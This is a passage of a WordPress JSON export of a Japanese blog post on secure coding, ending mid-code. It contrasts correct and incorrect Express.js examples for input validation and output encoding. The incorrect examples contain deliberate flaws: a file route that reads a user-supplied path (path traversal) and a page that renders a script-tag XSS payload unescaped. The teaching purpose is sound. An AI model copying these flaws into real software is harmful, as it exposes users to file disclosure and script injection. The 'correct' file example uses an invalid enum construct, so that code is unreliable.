{"id":7802,"date":"2025-03-25T11:13:16","date_gmt":"2025-03-25T04:13:16","guid":{"rendered":"https:\/\/www.briswell-vn.com\/?p=7802"},"modified":"2025-03-25T11:13:16","modified_gmt":"2025-03-25T04:13:16","slug":"secure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan","status":"publish","type":"post","link":"https:\/\/www.briswell-vn.com\/ja\/news\/secure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan\/","title":{"rendered":"\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u304a\u3088\u3073\u5b89\u5168\u306a\u30a2\u30d7\u30ea\u958b\u767a\u306e\u30d9\u30b9\u30c8\u624b\u6cd5"},"content":{"rendered":"<p><\/p>\n<h2>\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306b\u3064\u3044\u3066\u306e\u7d39\u4ecb<\/h2>\n<p>\u30bb\u30ad\u30e5\u30a2 \u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306f\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u5b89\u5168\u306b\u958b\u767a\u3059\u308b\u3053\u3068\u3092\u76ee\u7684\u306b\u3057\u3066\u3001\u4fb5\u5165\u8005\u3084\u30cf\u30c3\u30ab\u30fc\u304b\u3089\u306e\u653b\u6483\u3092\u9632\u3050\u305f\u3081\u306b\u8106\u5f31\u6027\u3092\u6700\u5c0f\u9650\u306b\u6291\u3048\u3001\u5b89\u5168\u6027\u306e\u9ad8\u3044\u30bd\u30fc\u30b9 \u30b3\u30fc\u30c9\u3092\u4f5c\u6210\u3059\u308b\u30d7\u30ed\u30bb\u30b9\u3067\u3059\u3002<\/p>\n<p>\u30bb\u30ad\u30e5\u30a2\u3067\u306a\u3044\u30b3\u30fc\u30c9\u306f\u3001\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306b\u304a\u3051\u308b\u591a\u304f\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u554f\u984c\u306e\u4e3b\u306a\u539f\u56e0\u3067\u3059\u3002 \u30b3\u30fc\u30c9\u5185\u306e\u30a8\u30e9\u30fc\u306f\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u8106\u5f31\u6027\u3001\u30c7\u30fc\u30bf\u3078\u306e\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u3001\u4fb5\u5165\u3001\u3055\u3089\u306b\u306f\u30b7\u30b9\u30c6\u30e0\u3084\u30e6\u30fc\u30b6\u30fc\u3078\u306e\u640d\u5bb3\u306a\u3069\u306e\u6df1\u523b\u306a\u554f\u984c\u3092\u5f15\u304d\u8d77\u3053\u3059\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u30bb\u30ad\u30e5\u30a2 \u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306b\u3088\u308a\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3068\u30b7\u30b9\u30c6\u30e0\u306f\u958b\u767a\u304b\u3089\u5c55\u958b\u6bb5\u968e\u307e\u3067\u6b63\u3057\u304f\u3001\u5b89\u5168\u306b\u8a18\u8ff0\u3055\u308c\u308b\u3053\u3068\u304c\u4fdd\u8a3c\u3055\u308c\u307e\u3059\u3002<\/p>\n<h2>\u306a\u305c\u3001\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u304c\u91cd\u8981\u306a\u306e\u304b\uff1f<\/h2>\n<p>\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306f\u3001\u30a2\u30d7\u30ea\u3084\u30b7\u30b9\u30c6\u30e0\u3078\u306e\u653b\u6483\u3084\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u8106\u5f31\u6027\u304b\u3089\u5b88\u308b\u306e\u306b\u91cd\u8981\u306a\u5f79\u5272\u3092\u679c\u305f\u3059\u305f\u3081\u3001\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u958b\u767a\u306e\u5206\u91ce\u306b\u304a\u3044\u3066\u306f\u975e\u5e38\u306b\u91cd\u8981\u306a\u3053\u3068\u3067\u3059\u3002 \u30bb\u30ad\u30e5\u30a2 \u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306f\u306a\u305c\u91cd\u8981\u306a\u306e\u304b\u3001\u4ee5\u4e0b\u306e\u3068\u304a\u308a\u306b\u3044\u304f\u3064\u304b\u306e\u7406\u7531\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<ol>\n<li>\u30c7\u30fc\u30bf\u4fdd\u8b77\uff1a\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u3068\u7d44\u7e54\u306e\u91cd\u8981\u306a\u60c5\u5831\u3078\u306e\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u3001\u6539\u3056\u3093\u3001\u76d7\u96e3\u304b\u3089\u907f\u3051\u308b\u306e\u306b\u5f79\u7acb\u3061\u307e\u3059\u3002 \u30a2\u30d7\u30ea\u304c\u5b89\u5168\u306b\u4f5c\u6210\u3055\u308c\u3066\u3044\u306a\u3044\u5834\u5408\u3001\u6a5f\u5bc6\u60c5\u5831\u304c\u6f0f\u6d29\u3057\u3001\u8cc7\u7523\u306e\u640d\u5931\u3001\u7d44\u7e54\u306e\u8a55\u5224\u3001\u30c7\u30fc\u30bf \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u898f\u5236\u306e\u9055\u53cd\u306a\u3069\u306e\u6df1\u523b\u306a\u554f\u984c\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/li>\n<li>\u653b\u6483\u306e\u9632\u6b62\uff1a\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306b\u3088\u308a\u3001\u4fb5\u5165\u8005\u3084\u30cf\u30c3\u30ab\u30fc\u304b\u3089\u306e\u653b\u6483\u3092\u6700\u5c0f\u9650\u306b\u6291\u3048\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002 \u5165\u529b\u30c7\u30fc\u30bf\u3092\u51e6\u7406\u304a\u3088\u3073\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0\u3059\u308b\u3053\u3068\u3067\u3001SQL \u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001\u30af\u30ed\u30b9\u30b5\u30a4\u30c8 \u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0 (XSS)\u3001\u30af\u30ed\u30b9\u30b5\u30a4\u30c8 \u30ea\u30af\u30a8\u30b9\u30c8 \u30d5\u30a9\u30fc\u30b8\u30a7\u30ea (CSRF)\u3001\u30b3\u30de\u30f3\u30c9 \u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001\u30af\u30ed\u30b9\u30b5\u30a4\u30c8 \u30b9\u30af\u30ea\u30d7\u30c8 \u30a4\u30f3\u30af\u30eb\u30fc\u30b8\u30e7\u30f3 (XSSI)\u3001\u30b5\u30fc\u30d0\u30fc\u30b5\u30a4\u30c9 \u30ea\u30af\u30a8\u30b9\u30c8\u3001\u507d\u9020\uff08SSRF\uff09\u306a\u3069\u306e\u4e00\u822c\u7684\u306a\u653b\u6483\u3092\u9632\u3050\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/li>\n<li>\u53ef\u7528\u6027\u3068\u4fe1\u983c\u6027\u306e\u78ba\u4fdd\uff1a\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u3067\u5b9f\u88c5\u3055\u308c\u305f\u30a2\u30d7\u30ea\u306e\u307b\u3046\u304c\u5b89\u5b9a\u3057\u3066\u78ba\u5b9f\u306b\u52d5\u4f5c\u3057\u307e\u3059\u3002 \u30a8\u30e9\u30fc\u3068\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u8106\u5f31\u6027\u3092\u6700\u5c0f\u9650\u306b\u6291\u3048\u308b\u3053\u3068\u3067\u3001\u671b\u307e\u3057\u304f\u306a\u3044\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u3092\u56de\u907f\u3057\u3001\u30b7\u30b9\u30c6\u30e0\u306e\u53ef\u7528\u6027\u3092\u7dad\u6301\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/li>\n<li>\u640d\u5bb3\u306e\u6700\u5c0f\u9650\uff1a\u5b89\u5168\u306b\u5b9f\u88c5\u3055\u308c\u306a\u3044\u30a2\u30d7\u30ea\u306f\u653b\u6483\u3055\u308c\u3001\u30b7\u30b9\u30c6\u30e0\u3068\u30e6\u30fc\u30b6\u30fc\u306b\u6df1\u523b\u306a\u640d\u5bb3\u3092\u53ca\u307c\u3059\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u3067\u653b\u6483\u3055\u308c\u305f\u3068\u304d\u306e\u30ea\u30b9\u30af\u3068\u640d\u5bb3\u3092\u6700\u5c0f\u9650\u306b\u6291\u3048\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/li>\n<li>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a19\u6e96\u304a\u3088\u3073\u898f\u5236\u306e\u9075\u5b88\uff1a\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306f\u3001\u7d44\u7e54\u304a\u3088\u3073\u696d\u754c\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u898f\u5236\u3092\u6e80\u305f\u3059\u306e\u306b\u5f79\u7acb\u3061\u307e\u3059\u3002 \u533b\u7642\u3084\u91d1\u878d\u306a\u3069\u306e\u591a\u304f\u306e\u696d\u754c\u306f\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3068\u30c7\u30fc\u30bf\u4fdd\u8b77\u306b\u5bfe\u3059\u308b\u53b3\u3057\u3044\u898f\u5236\u304c\u3042\u308a\u307e\u3059\u3002 \u3053\u308c\u3089\u306e\u898f\u5236\u306b\u5f93\u3044\u3001\u30d7\u30e9\u30a4\u30d0\u30b7\u30fc\u6a29\u3068\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u898f\u5236\u3092\u9055\u53cd\u3057\u306a\u3044\u3088\u3046\u306b\u3001\u5b89\u5168\u306a\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u3092\u63a1\u7528\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/li>\n<li>\u4fe1\u983c\u3068\u8a55\u5224\u306e\u5411\u4e0a\uff1a\u30a2\u30d7\u30ea\u306e\u5b89\u5168\u6027\u3068\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6027\u306f\u3001\u7d44\u7e54\u306b\u5bfe\u3059\u308b\u4fe1\u983c\u3068\u80af\u5b9a\u7684\u306a\u8a55\u5224\u306b\u8ca2\u732e\u3057\u307e\u3059\u3002 \u30a2\u30d7\u30ea\u304c\u5b89\u5168\u3067\u3042\u308c\u3070\u3001\u30a2\u30d7\u30ea\u3092\u5229\u7528\u3057\u3066\u3044\u308b\u30e6\u30fc\u30b6\u30fc\u3084\u9867\u5ba2\u306f\u3088\u308a\u7d44\u7e54\u306b\u4fe1\u983c\u3059\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<\/li>\n<\/ol>\n<p>\u8981\u3059\u308b\u306b\u3001\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306f\u3001\u30a2\u30d7\u30ea\u3068\u30b7\u30b9\u30c6\u30e0\u3078\u306e\u653b\u6483\u3084\u8106\u5f31\u6027\u304b\u3089\u5b88\u308b\u305f\u3081\u306e\u4e2d\u6838\u3067\u3059\u3002 \u3053\u308c\u306b\u3088\u308a\u3001\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3068\u4fe1\u983c\u6027\u304c\u78ba\u4fdd\u3055\u308c\u3001\u30e6\u30fc\u30b6\u30fc\u3068\u7d44\u7e54\u306e\u30c7\u30fc\u30bf\u304c\u5b88\u3089\u308c\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8981\u4ef6\u3068\u6a19\u6e96\u3092\u6e80\u305f\u3059\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<h2>\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306b\u304a\u3051\u308b\u91cd\u8981\u306a\u539f\u5247\u3068\u624b\u6cd5<\/h2>\n<h3>\u5165\u529b\u306e\u30d0\u30ea\u30c7\u30fc\u30b7\u30e7\u30f3\u30c1\u30a7\u30c3\u30af<\/h3>\n<p>\u6b21\u306e\u51e6\u7406\u306b\u9032\u3080\u524d\u306b\u3001\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u3068\u30b5\u30fc\u30d0\u30fc\u306e\u4e21\u65b9\u3067\u3059\u3079\u3066\u306e\u5165\u529b\u5024\u3092\u691c\u8a3c\u3059\u308b\u5fc5\u8981\u3067\u3059\u3002<\/p>\n<p>\u30d0\u30ea\u30c7\u30fc\u30b7\u30e7\u30f3\u30a8\u30e9\u30fc\u306e\u30c7\u30fc\u30bf\u306f\u305f\u3060\u3061\u306b\u62d2\u5426\u3057\u3001\u6b21\u306e\u51e6\u7406\u3092\u5b9f\u884c\u3055\u305b\u307e\u305b\u3093\u3002 \u7121\u52b9\u306a\u30c7\u30fc\u30bf\u304c\u5165\u529b\u3055\u308c\u305f\u3068\u3044\u3046\u30e1\u30c3\u30bb\u30fc\u30b8\u306a\u3069\u3092\u8fd4\u3057\u3001\u30e6\u30fc\u30b6\u30fc\u306b\u901a\u77e5\u3057\u307e\u3059\u3002<\/p>\n<p>GET \u30d5\u30a1\u30a4\u30eb\u306a\u3069\u306e\u30c7\u30fc\u30bf\u53d6\u5f97\u306e\u30ca\u30d3\u30b2\u30fc\u30b7\u30e7\u30f3 \u30d7\u30ed\u30bb\u30b9\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u5165\u529b\u304b\u3089\u30d5\u30a1\u30a4\u30eb\u540d\u3092\u76f4\u63a5\u53d6\u5f97\u305b\u305a\u306b\u3001file_id \u306a\u3069\u306e\u5b9a\u6570\u3092\u4ecb\u3057\u3066\u53d6\u5f97\u3057\u305f\u307b\u3046\u304c\u3088\u3044\u3067\u3059\u3002<\/p>\n<p>\u4ee5\u4e0b\u306f\u3001Express.js \u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u4f7f\u7528\u3059\u308b Nodejs \u30b3\u30fc\u30c9\u3067\u3059\u3002<\/p>\n<p><strong>\u6b63\u3057\u3044\u30b3\u30fc\u30c9<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> fs = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'fs\/promises'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>;\r\n \r\nenum File {\r\n  1: '<span class=\"hljs-string\">example.txt<\/span>',\r\n  2: '<span class=\"hljs-string\">example2.txt<\/span>'\r\n}\r\n \r\n<span class=\"hljs-comment\">\/\/ \u30d5\u30a1\u30a4\u30eb\u306e\u30c7\u30fc\u30bf\u3092\u53d6\u5f97\u3059\u308b\u30eb\u30fc\u30c8<\/span>\r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/file'<\/span>, <span class=\"hljs-keyword\">async<\/span> (req, res) =&gt; { \r\n  if (isNaN(req.query.fileId)) {\r\n    return res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">400<\/span>).<span class=\"hljs-title function_\">send<\/span>(<span class=\"hljs-string\">'fileId \u306f\u6570\u5024'<\/span>);\u00a0\r\n  }\r\n \r\n<span class=\"hljs-keyword\">  try<\/span> { \r\n<span class=\"hljs-keyword\">    const filePath = <span class=\"hljs-string\">`.\/files\/<span class=\"hljs-subst\">${File[req.query.fileId]}<\/span>`<\/span>; <\/span> \r\n \r\n<span class=\"hljs-comment\">    \/\/ \u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9\u3092\u8aad\u307f\u8fbc\u3080<\/span>\r\n<span class=\"hljs-keyword\">    const<\/span> fileContent = <span class=\"hljs-keyword\">await<\/span> fs.<span class=\"hljs-title function_\">readFile<\/span>(filePath, <span class=\"hljs-string\">'utf-8'<\/span>); \r\n \r\n    res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">send<\/span>(fileContent); \r\n  } <span class=\"hljs-keyword\">catch<\/span> (error) { \r\n    res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">500<\/span>).<span class=\"hljs-title function_\">send<\/span>(<span class=\"hljs-string\">'\u30d5\u30a1\u30a4\u30eb\u306e\u8aad\u307f\u8fbc\u3080\u3068\u304d\u3001\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3057\u305f\u3002'<\/span>); \r\n  } \r\n}); \r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });\r\n<\/pre>\n<p>\u3053\u306e\u4f8b\u3067\u306f\u3001\u30e6\u30fc\u30b6\u30fc \u30c7\u30fc\u30bf\u304b\u3089\u30d5\u30a1\u30a4\u30eb\u540d\u3092\u76f4\u63a5\u53d6\u5f97\u3057\u306a\u304f\u3066\u3001\u30e6\u30fc\u30b6\u30fc\u304c\u9001\u4fe1\u3057\u305f\u30d5\u30a1\u30a4\u30eb\u306eid \u3092\u4f7f\u7528\u3057\u3066\u3001\u30a2\u30af\u30bb\u30b9\u30d5\u30a1\u30a4\u30eb \u30d1\u30b9\u3092\u53d6\u5f97\u3057\u307e\u3059\u3002 \u3053\u308c\u3067\u671b\u307e\u3057\u304f\u306a\u3044\u30a2\u30af\u30bb\u30b9\u306a\u3069\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8106\u5f31\u6027\u306e\u554f\u984c\u304c\u56de\u907f\u3055\u308c\u307e\u3059\u3002<\/p>\n<p>\u6b63\u3057\u304f\u306a\u3044\u30b3\u30fc\u30c9<\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> fs = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'fs\/promises'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>;  \r\n \r\n<span class=\"hljs-comment\">\/\/ \u30d5\u30a1\u30a4\u30eb\u304b\u3089\u30c7\u30fc\u30bf\u3092\u53d6\u5f97\u3059\u308b\u30eb\u30fc\u30c8<\/span> \r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/file'<\/span>, <span class=\"hljs-keyword\">async<\/span> (req, res) =&gt; { <span class=\"hljs-keyword\"> \r\n  try<\/span> {  <span class=\"hljs-comment\">\r\n    \/\/ \u30e6\u30fc\u30b6\u30fc\u306e\u5165\u529b\u306e\u30d5\u30a1\u30a4\u30eb\u540d\u3092\u4f7f\u7528\u3057\u3066\u3001\u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9\u3092\u8aad\u307f\u8fbc\u3080<\/span><span class=\"hljs-keyword\">\r\n    const<\/span> fileContent = <span class=\"hljs-keyword\">await<\/span> fs.<span class=\"hljs-title function_\">readFile<\/span>(req.body.fileName, <span class=\"hljs-string\">'utf-8'<\/span>); \r\n \r\n    res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">send<\/span>(fileContent); \r\n  } <span class=\"hljs-keyword\">catch<\/span> (error) { \r\n    res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">500<\/span>).<span class=\"hljs-title function_\">send<\/span>(<span class=\"hljs-string\">'\u30d5\u30a1\u30a4\u30eb\u3092\u8aad\u307f\u8fbc\u3080\u969b\u306b\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3057\u307e\u3057\u305f\u3002'<\/span>); \r\n  } \r\n}); \r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>\u3053\u306e\u4f8b\u3067\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u304c\u5165\u529b\u3057\u305f\u30c7\u30fc\u30bf\u306e\u30d5\u30a1\u30a4\u30eb\u540d\u3092\u4f7f\u7528\u3057\u307e\u3057\u305f\u3002 \u3053\u308c\u3067\u671b\u307e\u3057\u304f\u306a\u3044\u30a2\u30af\u30bb\u30b9\u306a\u3069\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8106\u5f31\u6027\u306e\u554f\u984c\u304c\u767a\u751f\u3057\u307e\u3059\u3002<\/p>\n<h3>\u51fa\u529b\u30a8\u30f3\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0<\/h3>\n<p>\u30a8\u30f3\u30b3\u30fc\u30c9\u304c\u5fc5\u8981\u306a\u3059\u3079\u3066\u306e\u51fa\u529b\u30c7\u30fc\u30bf\u306f\u3001\u30af\u30ed\u30b9\u30b5\u30a4\u30c8 \u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0 (XSS) \u306e\u8106\u5f31\u6027\u3092\u907f\u3051\u308b\u3088\u3046\u306b\u3001HTML \u30a8\u30f3\u30c6\u30a3\u30c6\u30a3 \u30a8\u30f3\u30b3\u30fc\u30c9\u3092\u4f7f\u7528\u3057\u3066\u30c7\u30fc\u30bf \u30a8\u30f3\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u30b3\u30de\u30f3\u30c9 \u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306b\u95a2\u9023\u3059\u308b\u30a8\u30e9\u30fc\u3092\u56de\u907f\u3059\u308b\u3088\u3046\u306b\u3001\u30aa\u30da\u30ec\u30fc\u30c6\u30a3\u30f3\u30b0 \u30b7\u30b9\u30c6\u30e0 \u30b3\u30de\u30f3\u30c9\u306b\u95a2\u9023\u3059\u308b\u30c7\u30fc\u30bf\u3092\u304d\u308c\u3044\u306b\u3057\u307e\u3059\u3002<\/p>\n<p>\u30c7\u30fc\u30bf\u3092\u8868\u793a\u3059\u308b\u3068\u304d\u306bSQL \u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u95a2\u9023\u306e\u8106\u5f31\u6027\u3092\u907f\u3051\u308b\u3088\u3046\u306b\u3001SQL \u30af\u30a8\u30ea\u306e\u30c7\u30fc\u30bf\u3092\u30af\u30ea\u30a2\u3057\u307e\u3059\u3002<\/p>\n<p>\u4ee5\u4e0b\u306f\u3001Express.js \u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u4f7f\u7528\u3059\u308b Nodejs \u30b3\u30fc\u30c9\u3067\u3059\u3002<\/p>\n<p><strong>\u6b63\u3057\u3044\u30b3\u30fc\u30c9<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> escapeHtml = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'escape-html'<\/span>);\r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/customerProfile'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">  const<\/span> customer = { \r\n<span class=\"hljs-attr\">    name<\/span>: <span class=\"hljs-string\">\"test\"<\/span>, \r\n<span class=\"hljs-attr\">    note<\/span>: <span class=\"hljs-string\">\"&lt;script&gt;alert('XSS attack!');&lt;\/script&gt;\"<\/span> \r\n  }; \r\n \r\n  <span class=\"hljs-keyword\">const<\/span> encodedCustomerNote = escapeHtml(customer.note);\r\n \r\n  res.<span class=\"hljs-title function_\">send<\/span>(<span class=\"hljs-string\">` \r\n    &lt;h1&gt;\u3053\u3093\u306b\u3061\u306f\u3001 <span class=\"hljs-subst\">${customer.name}<\/span>!&lt;\/h1&gt; \r\n    &lt;p&gt;<span class=\"hljs-subst\">${encodedCustomerNote}<\/span>&lt;\/p&gt; `\r\n<\/span>  ); \r\n}); \r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });\r\n\r\n<\/pre>\n<p>\u4ee5\u4e0a\u306e\u30b3\u30fc\u30c9\u3067\u306f\u3001HTML\u3092\u5165\u308c\u308b\u524d\u306bescape-html\u30e9\u30a4\u30d6\u30e9\u30ea\u3092\u4f7f\u7528\u3057\u3066\u3001customer.note\u306e\u5185\u5bb9\u3092\u30a8\u30f3\u30b3\u30fc\u30c9\u3057\u307e\u3057\u305f\u3002\u3053\u3046\u3057\u305f\u3089\u3001\u3069\u306e\u60aa\u610f\u306e\u3042\u308bJavaScript\u30b3\u30fc\u30c9\u3067\u3082\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u3066\u3001\u666e\u6bb5\u306e\u6587\u7ae0\u306b\u8868\u793a\u3055\u308c\u307e\u3059\u306e\u3067\u3001\u5b9f\u884c\u3067\u304d\u307e\u305b\u3093\u3002<\/p>\n<p><strong>\u6b63\u3057\u304f\u306a\u3044\u30b3\u30fc\u30c9<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n\r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/customerProfile'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\"> const<\/span> customer = { \r\n<span class=\"hljs-attr\">   name<\/span>: <span class=\"hljs-string\">\"test\"<\/span>, \r\n<span class=\"hljs-attr\">   note<\/span>: <span class=\"hljs-string\">\"&lt;script&gt;alert('XSS attack!');&lt;\/script&gt;\"<\/span> \r\n }; \r\n \r\n res.<span class=\"hljs-title function_\">send<\/span>(<span class=\"hljs-string\">` \r\n   &lt;h1&gt;\u3053\u3093\u306b\u3061\u306f\u3001 <span class=\"hljs-subst\">${customer.name}<\/span>!&lt;\/h1&gt; \r\n   &lt;p&gt;<span class=\"hljs-subst\">${customer.<span class=\"hljs-attr\">note<\/span>}<\/span>&lt;\/p&gt; `\r\n<\/span> ); \r\n}); \r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); 